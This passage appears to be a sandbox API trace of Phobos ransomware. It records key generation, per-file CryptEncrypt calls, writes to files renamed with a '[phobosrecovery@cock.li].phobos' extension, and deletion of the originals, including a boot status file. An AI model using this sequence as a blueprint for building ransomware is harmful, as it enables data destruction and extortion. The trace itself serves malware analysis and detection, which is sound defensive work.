lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.818] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0048.818] CloseHandle (hObject=0x318) returned 1 [0048.818] CloseHandle (hObject=0x308) returned 1 [0048.820] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0048.822] SetEvent (hEvent=0x2e8) returned 1 [0048.822] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.822] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4136) returned 1 [0048.822] CloseHandle (hObject=0x308) returned 1 [0048.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0048.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.822] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.823] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.823] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0048.823] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.823] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1028, lpOverlapped=0x0) returned 1 [0048.856] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1030, dwBufLen=0x1030 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1030) returned 1 [0048.856] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1030, lpOverlapped=0x0) returned 1 [0048.857] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0048.857] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.857] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.857] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0048.857] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.858] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0048.858] CloseHandle (hObject=0x308) returned 1 [0048.858] CloseHandle (hObject=0x318) returned 1 [0048.858] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0048.859] SetEvent (hEvent=0x2e8) returned 1 [0048.859] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.860] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4450) returned 1 [0048.860] CloseHandle (hObject=0x318) returned 1 [0048.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0048.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.860] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.860] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.056] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0049.056] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0049.056] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1162, lpOverlapped=0x0) returned 1 [0049.068] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1170, dwBufLen=0x1170 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1170) returned 1 [0049.068] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1170, lpOverlapped=0x0) returned 1 [0049.069] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0049.069] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0049.069] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0049.069] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0049.069] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0049.069] CryptDestroyKey (hKey=0x10d070) returned 1 [0049.069] CloseHandle (hObject=0x318) returned 1 [0049.069] CloseHandle (hObject=0x308) returned 1 [0049.070] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0049.071] SetEvent (hEvent=0x2e8) returned 1 [0049.071] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.080] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=27045) returned 1 [0049.080] CloseHandle (hObject=0x308) returned 1 [0049.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0049.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.080] SetEvent (hEvent=0x2e8) returned 1 [0049.080] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.131] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=111320) returned 1 [0049.131] CloseHandle (hObject=0x308) returned 1 [0049.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0049.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.131] SetEvent (hEvent=0x2e8) returned 1 [0049.131] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.158] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=46622) returned 1 [0049.158] CloseHandle (hObject=0x308) returned 1 [0049.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0049.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.158] SetEvent (hEvent=0x2e8) returned 1 [0049.158] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.159] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=208408) returned 1 [0049.159] CloseHandle (hObject=0x308) returned 1 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.159] SetEvent (hEvent=0x2e8) returned 1 [0049.159] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.160] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=199994) returned 1 [0049.160] CloseHandle (hObject=0x308) returned 1 [0049.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0049.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.160] SetEvent (hEvent=0x2e8) returned 1 [0049.160] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.240] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1600388) returned 1 [0049.240] CloseHandle (hObject=0x318) returned 1 [0049.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0049.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0049.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0049.241] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.255] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=212) returned 1 [0049.255] CloseHandle (hObject=0x318) returned 1 [0049.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0049.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.256] SetEvent (hEvent=0x2e8) returned 1 [0049.256] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.260] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=903) returned 1 [0049.260] CloseHandle (hObject=0x318) returned 1 [0049.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0049.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.261] SetEvent (hEvent=0x2e8) returned 1 [0049.261] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.263] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=384) returned 1 [0049.263] CloseHandle (hObject=0x318) returned 1 [0049.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0049.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.264] SetEvent (hEvent=0x2e8) returned 1 [0049.264] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.269] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=392) returned 1 [0049.269] CloseHandle (hObject=0x318) returned 1 [0049.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0049.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 